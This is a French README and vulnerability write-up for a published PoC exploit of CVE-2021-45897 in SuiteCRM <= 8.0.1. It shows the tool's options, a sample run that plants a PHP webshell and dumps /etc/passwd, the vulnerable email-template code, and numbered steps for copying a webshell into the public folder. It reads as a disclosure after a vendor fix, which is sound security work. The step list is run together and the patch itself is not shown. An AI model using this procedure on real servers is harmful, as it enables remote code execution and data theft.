
# Exploit RCE authentifié pour SuiteCRM <= 8.0.1 via téléversement d'image dans un modèle d'e-mail, installant une webshell PHP pour l'exécution de commandes à distance.
PoC pour CVE-2021-45897 alias SCRMBT-#180 - RCE via les modèles d'e-mails (authentifié uniquement) dans SuiteCRM <= 8.0.1
Cette vulnérabilité a été signalée à SalesAgility et corrigée dans SuiteCRM 7.12.3 et SuiteCRM Core 8.0.2. Si vous utilisez des versions plus anciennes de SuiteCRM, je vous conseille vivement de mettre à jour.
Installation
python3 et pip installée.git clone https://github.com/manuelz120/CVE-2021-45897.gitpip3 install -r "requirements.txt"Options disponibles :
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-P, --payload TEXT Shell command to be executed on target system
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45897
Exemple d'utilisation :
(.venv) ➜ CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------ Ending command output ------
INFO:CVE-2021-45897:Enjoy your shell :)
J'ai récemment découvert un vecteur d'attaque RCE intéressant dans le logiciel SuiteCRM basé sur PHP. La vulnérabilité permet à un attaquant authentifié ayant accès au module EmailTemplates de téléverser des fichiers PHP malveillants, qui peuvent être utilisés pour obtenir une exécution de code à distance.
De mon point de vue, la gestion globale du téléversement de fichiers dans SuiteCRM semble assez sécurisée. Bien qu'il y ait beaucoup de code personnalisé, les développeurs ont accordé une attention particulière soit à la suppression de toute extension de fichier (ce qui se produit pour la plupart des types de fichiers), soit à la validation des extensions et à l'assainissement du contenu dans le cas d'une image. Il existe même une interface de plugin pour charger des scanners antivirus tiers et leur faire traiter tous les téléversements.
Cependant, je suis tombé par hasard sur une petite fonctionnalité intéressante cachée dans public/legacy/modules/EmailTemplates/EmailTemplate.php :
private function repairEntryPointImages()
{
global $sugar_config;
// repair the images url at entry points, change to a public direct link for remote email clients..
$html = from_html($this->body_html);
$siteUrl = $sugar_config['site_url'];
$regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';
if (preg_match($regex, $html, $match)) {
$splits = explode('.', $match[1]);
$fileExtension = end($splits);
$this->makePublicImage($match[2], $fileExtension);
$newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
$this->body_html = to_html(str_replace($match[1], $newSrc, $html));
$this->imageLinkReplaced = true;
$this->repairEntryPointImages();
}
}
private function makePublicImage($id, $ext = 'jpg')
{
$toFile = 'public/' . $id . '.' . $ext;
if (file_exists($toFile)) {
return;
}
$fromFile = 'upload://' . $id;
if (!file_exists($fromFile)) {
throw new Exception('file not found');
}
if (!file_exists('public')) {
sugar_mkdir('public', 0777);
}
$fdata = file_get_contents($fromFile);
if (!file_put_contents($toFile, $fdata)) {
throw new Exception('file write error');
}
}
SuiteCRM permet aux utilisateurs de créer des modèles d'e-mails. Les modèles peuvent également contenir des pièces jointes, qui sont stockées dans un module séparé (le module Notes). Les utilisateurs peuvent joindre des fichiers arbitraires aux modèles d'e-mails. Le contenu du fichier n'est assaini d'aucune manière. Cependant, il est stocké sans extension, donc même s'il contient du code PHP potentiellement malveillant, il ne serait pas exécuté par le serveur web. Les utilisateurs authentifiés peuvent également télécharger ces pièces jointes en utilisant un lien au format /index.php?entryPoint=download&type=Notes&id=<note-id>.
La fonction repairEntryPointImages est déclenchée chaque fois qu'un modèle d'e-mail est enregistré ou consulté. Si nous examinons le code, nous pouvons voir qu'il analyse le balisage (body_html) du modèle d'e-mail et recherche les balises HTML img avec un attribut src spécial. L'expression régulière ressemble essentiellement au format du lien de téléchargement interne des pièces jointes. Cependant, ces liens ne fonctionnent que pour les utilisateurs authentifiés dans SuiteCRM, ce qui n'est probablement pas le cas du destinataire de l'e-mail. Par conséquent, SuiteCRM crée automatiquement une copie de la pièce jointe dans le dossier public du serveur web et remplace le lien de téléchargement interne par la version publique. Pour s'assurer que le client de messagerie affiche correctement les images, il ajoute également une extension de fichier. Cependant, l'extension du fichier cible dans le dossier public est directement tirée du paramètre de requête filename du src de l'image et n'est pas validée (notez que le filename ne déclenche aucune autre logique et peut être choisi librement).
Maintenant, nous avons tout ce qu'il faut pour élaborer un exploit qui téléverse un webshell PHP dans le dossier public :
Notes en téléversant un webshell PHP. Notez l'id de la Note/index.php?entryPoint=download&type=Notes&id=<note_id>repairEntryPointImages, mais utilisez un .php pour le paramètre de requête filename (par exemple /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />).repairEntryPointImages et copiera notre webshell avec une extension .php dans le dossier publichttp://<<host>>/public/<<note_id>>.phpPeu après mon rapport, de nouvelles versions de SuiteCRM (7.12.3 et 8.0.2) ont été publiées, contenant le correctif suivant :

Cela garantit que seules les extensions de fichiers image valides sont utilisées dans repairEntryPointImages et empêche la création de fichiers avec des extensions non autorisées comme .php.